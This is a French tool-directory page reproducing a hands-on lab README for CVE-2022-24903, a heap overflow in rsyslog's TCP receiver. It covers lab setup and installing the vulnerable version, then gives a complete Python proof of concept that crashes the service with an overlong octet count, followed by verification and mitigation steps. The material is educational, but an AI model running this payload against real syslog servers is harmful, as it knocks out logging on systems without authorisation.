Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Dépassement de tampon basé sur le tas | Kitploit
Outils/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Analyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Dépassement de tampon basé sur le tas

Voir le dépôt
4il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Laboratoire pratique CVE-2022-24903

Auteur : Andrew Beshay Mousa

Un atelier pratique illustrant la vulnérabilité de débordement de tampon du tas dans rsyslog.

rsyslog CVE Type Protocol

Un environnement de laboratoire pratique pour reproduire et comprendre la vulnérabilité de débordement de tampon du tas de rsyslog (CVE-2022-24903) via le cadrage à comptage d'octets (octet-counted framing) dans la réception syslog TCP.


Table des matières

  • Aperçu
  • Architecture du laboratoire
  • Prérequis
  • Détails de la vulnérabilité
  • Configuration du laboratoire
    • Machine cible (Ubuntu)
    • Machine attaquante (Kali)
  • Exploitation
  • Vérification
  • Dépannage
  • Atténuation
  • Références

  • Aperçu

    CVE-2022-24903 est une vulnérabilité de débordement de tampon du tas dans le module de réception syslog TCP (imtcp) de rsyslog, lors de l'utilisation du cadrage à comptage d'octets (RFC 5425).

    Un attaquant peut envoyer un message syslog TCP malveillant avec un préfixe de comptage d'octets excessivement long, ce qui amène rsyslog à écrire au-delà des limites d'un tampon alloué sur le tas, entraînant un déni de service (DoS) ou une corruption mémoire potentielle.

    AttributValeur
    Identifiant CVECVE-2022-24903
    Versions concernéesrsyslog < 8.2204.1
    VecteurRéseau
    Port514/TCP
    Moduleimtcp (entrée TCP)
    ImpactDoS / Corruption du tas
    RCE probable ?Non (évaluation du fournisseur)

    Architecture du laboratoire

    root@kitploit:~
    +----------------------------------------------------------+
    |                  Network: Host-Only                       |
    |                Subnet: 192.168.56.0/24                   |
    +--------------------------+-------------------------------+
    |                          |                               |
    |   +---------------+      |      +--------------------+   |
    |   |  [Attacker]   |      |      |     [Target]       |   |
    |   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
    |   |               | TCP  |      |  rsyslog 8.2001.0  |   |
    |   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
    |   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
    |   |  CPU: 1       |      |      |  CPU: 1            |   |
    |   +---------------+      |      +--------------------+   |
    |                          |                               |
    +----------------------------------------------------------+
    

    Machines virtuelles requises

    VMOSRôleIPRAMCPU
    CibleUbuntu 22.04Serveur rsyslog vulnérable192.168.56.201 Go1
    AttaquantKali LinuxEnvoi de l'exploit192.168.56.102 Go1

    Remarque : Vous pouvez utiliser n'importe quelle version d'Ubuntu (20.04, 22.04, 24.04) comme cible. Le point clé est d'installer manuellement le paquet .deb rsyslog 8.2001.0 vulnérable.


    Prérequis

    • VirtualBox ou VMware Workstation
    • ISO Ubuntu 22.04 (~2 Go)
    • VM Kali Linux (~4 Go)
    • Réseau Host-Only configuré dans votre hyperviseur
    • Connaissances de base des commandes Linux et de Python

    Détails de la vulnérabilité

    Qu'est-ce que le cadrage à comptage d'octets ?

    Dans syslog par TCP (RFC 5425), les messages sont préfixés par leur longueur en octets :

    root@kitploit:~
    123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
    └─┘
     octet count (3 digits = 123 bytes follow)
    

    Le bug

    Dans les versions vulnérables de rsyslog, l'analyseur de comptage d'octets :

    1. Accumule les chiffres dans un tampon de tas de taille fixe
    2. Ne vérifie pas les limites du tampon lors de l'écriture des chiffres
    3. Continue d'écrire les chiffres même après que le comptage d'octets dépasse la valeur maximale autorisée
    root@kitploit:~
    // Simplified vulnerable logic:
    char buffer[20];          // Small heap buffer
    int i = 0;
    while (isdigit(ch)) {     // Read digits
        buffer[i++] = ch;     // Write to buffer
        // MISSING: if (i >= 20) break;
        ch = next_char();
    }
    

    Résultat : L'envoi de 9999... (plus de 5000 chiffres) provoque un débordement du tampon de tas, corrompant la mémoire adjacente.

    Pourquoi la RCE est difficile

    • Le débordement est limité aux caractères numériques uniquement (0-9)
    • L'analyseur s'arrête au premier caractère non numérique
    • Impossible d'injecter directement du shellcode
    • Le DoS est garanti ; la RCE est considérée comme peu probable par le fournisseur

    Configuration du laboratoire

    Étape 1 : Configurer le réseau Host-Only

    Dans votre hyperviseur, créez un réseau Host-Only :

    • Sous-réseau : 192.168.56.0/24
    • DHCP : Désactivé (adresses IP statiques)

    Connectez les deux machines virtuelles à ce réseau.


    Étape 2 : Machine cible (Ubuntu)

    2.1 Définir une adresse IP statique

    root@kitploit:~
    sudo nano /etc/netplan/00-installer-config.yaml
    

    Collez :

    root@kitploit:~
    network:
      version: 2
      ethernets:
        enp0s3:
          dhcp4: no
          addresses:
            - 192.168.56.20/24
    

    Appliquez :

    root@kitploit:~
    sudo netplan apply
    

    Vérifiez :

    root@kitploit:~
    ip addr show | grep 192.168.56.20
    

    2.2 Arrêter et supprimer la version moderne de rsyslog

    root@kitploit:~
    sudo systemctl stop rsyslog.service syslog.socket
    sudo systemctl disable rsyslog.service syslog.socket
    sudo systemctl mask rsyslog.service syslog.socket
    sudo apt-get remove --purge -y rsyslog
    sudo apt-get autoremove -y
    

    2.3 Télécharger et installer la version vulnérable de rsyslog

    root@kitploit:~
    cd /tmp
    wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
    sudo apt-get install -f -y
    sudo apt-mark hold rsyslog
    

    Si vous obtenez une erreur de verrou dpkg :

    root@kitploit:~
    sudo kill -9 <PID>
    sudo rm -f /var/lib/dpkg/lock-frontend
    sudo dpkg --configure -a
    

    Vérifiez la version :

    root@kitploit:~
    rsyslogd -v | head -2
    

    Sortie attendue :

    root@kitploit:~
    rsyslogd  8.2001.0
    

    2.4 Désactiver AppArmor (laboratoire uniquement)

    AppArmor peut empêcher rsyslog de fonctionner correctement avec l'ancien paquet :

    root@kitploit:~
    sudo systemctl stop apparmor
    sudo systemctl disable apparmor
    

    2.5 Configurer rsyslog pour TCP 514

    root@kitploit:~
    sudo nano /etc/rsyslog.conf
    

    Videz le fichier et collez :

    root@kitploit:~
    module(load="imtcp")
    input(type="imtcp" port="514")
    *.* /var/log/all-messages.log
    

    2.6 Ouvrir le port du pare-feu

    root@kitploit:~
    sudo ufw allow 514/tcp
    sudo ufw --force enable
    

    2.7 Démarrer rsyslog

    root@kitploit:~
    sudo systemctl unmask rsyslog.service syslog.socket
    sudo systemctl restart rsyslog
    sudo systemctl status rsyslog --no-pager
    

    Vérifiez l'écoute :

    root@kitploit:~
    sudo ss -tlnp | grep 514
    

    Sortie attendue :

    root@kitploit:~
    LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))
    

    Étape 3 : Machine attaquante (Kali)

    3.1 Définir une adresse IP statique

    root@kitploit:~
    sudo nano /etc/network/interfaces
    

    Collez :

    root@kitploit:~
    auto eth0
    iface eth0 inet static
        address 192.168.56.10
        netmask 255.255.255.0
    

    Ou si vous utilisez Netplan :

    root@kitploit:~
    sudo nano /etc/netplan/01-netcfg.yaml
    
    root@kitploit:~
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: no
          addresses:
            - 192.168.56.10/24
    
    root@kitploit:~
    sudo netplan apply
    

    3.2 Créer le script d'exploitation

    root@kitploit:~
    cd ~/Desktop
    nano exploit.py
    

    Collez :

    root@kitploit:~
    #!/usr/bin/env python3
    """
    CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
    Target: rsyslog 8.2001.0 on TCP port 514
    Author: Andrew Beshay Mousa
    """
    
    import socket
    import sys
    
    TARGET = "192.168.56.20"  # Change to your Target IP
    PORT = 514
    
    def exploit():
        """
        Send a crafted TCP syslog message with an excessively long octet-count prefix.
        The octet-count parser writes digits to a heap buffer without bounds checking,
        causing a heap buffer overflow.
        """
        # Create a massive octet count string (5000+ digits)
        # This overflows the heap buffer allocated for parsing the count
        overflow_digits = b"9" * 5000
    
        # The rest of the message (parser will crash before processing this)
        syslog_msg = b" <1>test crash message\n"
    
        payload = overflow_digits + syslog_msg
    
        print(f"[*] Target: {TARGET}:{PORT}")
        print(f"[*] Payload size: {len(payload)} bytes")
        print(f"[*] Octet count digits: {len(overflow_digits)}")
    
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            sock.connect((TARGET, PORT))
    
            print(f"[*] Connected. Sending payload...")
            sock.sendall(payload)
    
            # Try to receive (likely won't get anything back after crash)
            try:
                response = sock.recv(1024)
                print(f"[+] Received: {response}")
            except socket.timeout:
                print("[!] No response - target may have crashed!")
    
            sock.close()
            print("[*] Exploit completed.")
    
        except ConnectionRefusedError:
            print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
            sys.exit(1)
        except BrokenPipeError:
            print("[!] Connection broken - target likely crashed mid-transmission!")
    
    if __name__ == "__main__":
        print("=" * 50)
        print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
        print("=" * 50)
        exploit()
    

    Rendez-le exécutable :

    root@kitploit:~
    chmod +x exploit.py
    

    Exploitation

    Vérification préalable

    Depuis la machine attaquante, vérifiez la connectivité :

    root@kitploit:~
    nc -zv 192.168.56.20 514
    

    Sortie attendue :

    root@kitploit:~
    (UNKNOWN) [192.168.56.20] 514 (shell) open
    

    Lancer l'exploit

    root@kitploit:~
    python3 ~/Desktop/exploit.py
    

    Sortie attendue :

    root@kitploit:~
    ==================================================
    CVE-2022-24903 rsyslog Heap Buffer Overflow
    ==================================================
    [*] Target: 192.168.56.20:514
    [*] Payload size: 5027 bytes
    [*] Octet count digits: 5000
    [*] Connected. Sending payload...
    [!] No response - target may have crashed!
    [*] Exploit completed.
    

    Vérification

    Sur la machine cible, vérifiez le crash :

    Méthode 1 : Vérifier si rsyslog est toujours en cours d'exécution

    root@kitploit:~
    ps aux | grep rsyslog
    

    Si aucune sortie -> rsyslog a planté

    Méthode 2 : Vérifier les journaux du noyau

    root@kitploit:~
    sudo dmesg | tail -10
    

    Sortie attendue :

    root@kitploit:~
    audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
    

    Ou :

    root@kitploit:~
    rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
    

    Méthode 3 : Vérifier le journal systemd

    root@kitploit:~
    sudo journalctl -u rsyslog --no-pager | tail -10
    

    Méthode 4 : Redémarrer et re-tester

    Pour confirmer la reproductibilité :

    root@kitploit:~
    sudo systemctl restart rsyslog
    sudo ss -tlnp | grep 514
    

    Relancez ensuite l'exploit depuis Kali. Le crash doit se reproduire.


    Dépannage

    ProblèmeSolution
    Connection refusedrsyslog ne fonctionne pas ou n'écoute pas sur le port TCP 514. Vérifiez sudo systemctl status rsyslog et `sudo ss -tlnp
    Unit rsyslog.service is maskedExécutez sudo systemctl unmask rsyslog.service syslog.socket
    dpkg frontend lockExécutez sudo kill -9 <PID> puis sudo rm -f /var/lib/dpkg/lock-frontend
    AppArmor DENIED dans dmesgExécutez sudo systemctl stop apparmor && sudo systemctl disable apparmor
    La version de rsyslog est 8.2112+Vous avez installé la version corrigée. Téléchargez et installez manuellement rsyslog_8.2001.0-1ubuntu1_amd64.deb
    Pas de crash après l'exploitAugmentez la taille de la charge utile à b"9" * 20000

    Atténuation

    1. Mettre à niveau rsyslog

    root@kitploit:~
    sudo apt-mark unhold rsyslog
    sudo apt-get update
    sudo apt-get install rsyslog
    

    Vérifiez la version corrigée :

    root@kitploit:~
    rsyslogd -v | head -2
    

    Elle doit être 8.2204.1 ou supérieure.

    2. Désactiver syslog TCP si ce n'est pas nécessaire

    Commentez dans /etc/rsyslog.conf :

    root@kitploit:~
    # module(load="imtcp")
    # input(type="imtcp" port="514")
    

    3. Utiliser TLS/SSL (RFC 5425)

    Si syslog TCP est requis, utilisez un transport chiffré :

    root@kitploit:~
    module(load="imgtls")
    input(type="imgtls" port="6514")
    

    4. Restrictions du pare-feu

    Limitez le port TCP 514 aux seuls hôtes de confiance :

    root@kitploit:~
    sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
    

    Références

    • NVD - CVE-2022-24903
    • Avis de sécurité rsyslog
    • Avis de sécurité Ubuntu USN-5404-1
    • RFC 5424 - Protocole Syslog
    • RFC 5425 - Transport TLS

    Avertissement

    Ce laboratoire est réservé à des fins éducatives et de recherche uniquement. N'utilisez pas cet exploit contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive de ces informations.


    Licence

    Ce projet est sous licence MIT.


    Conçu avec du café et de la curiosité par Andrew Beshay Mousa.

    Télécharger l’outil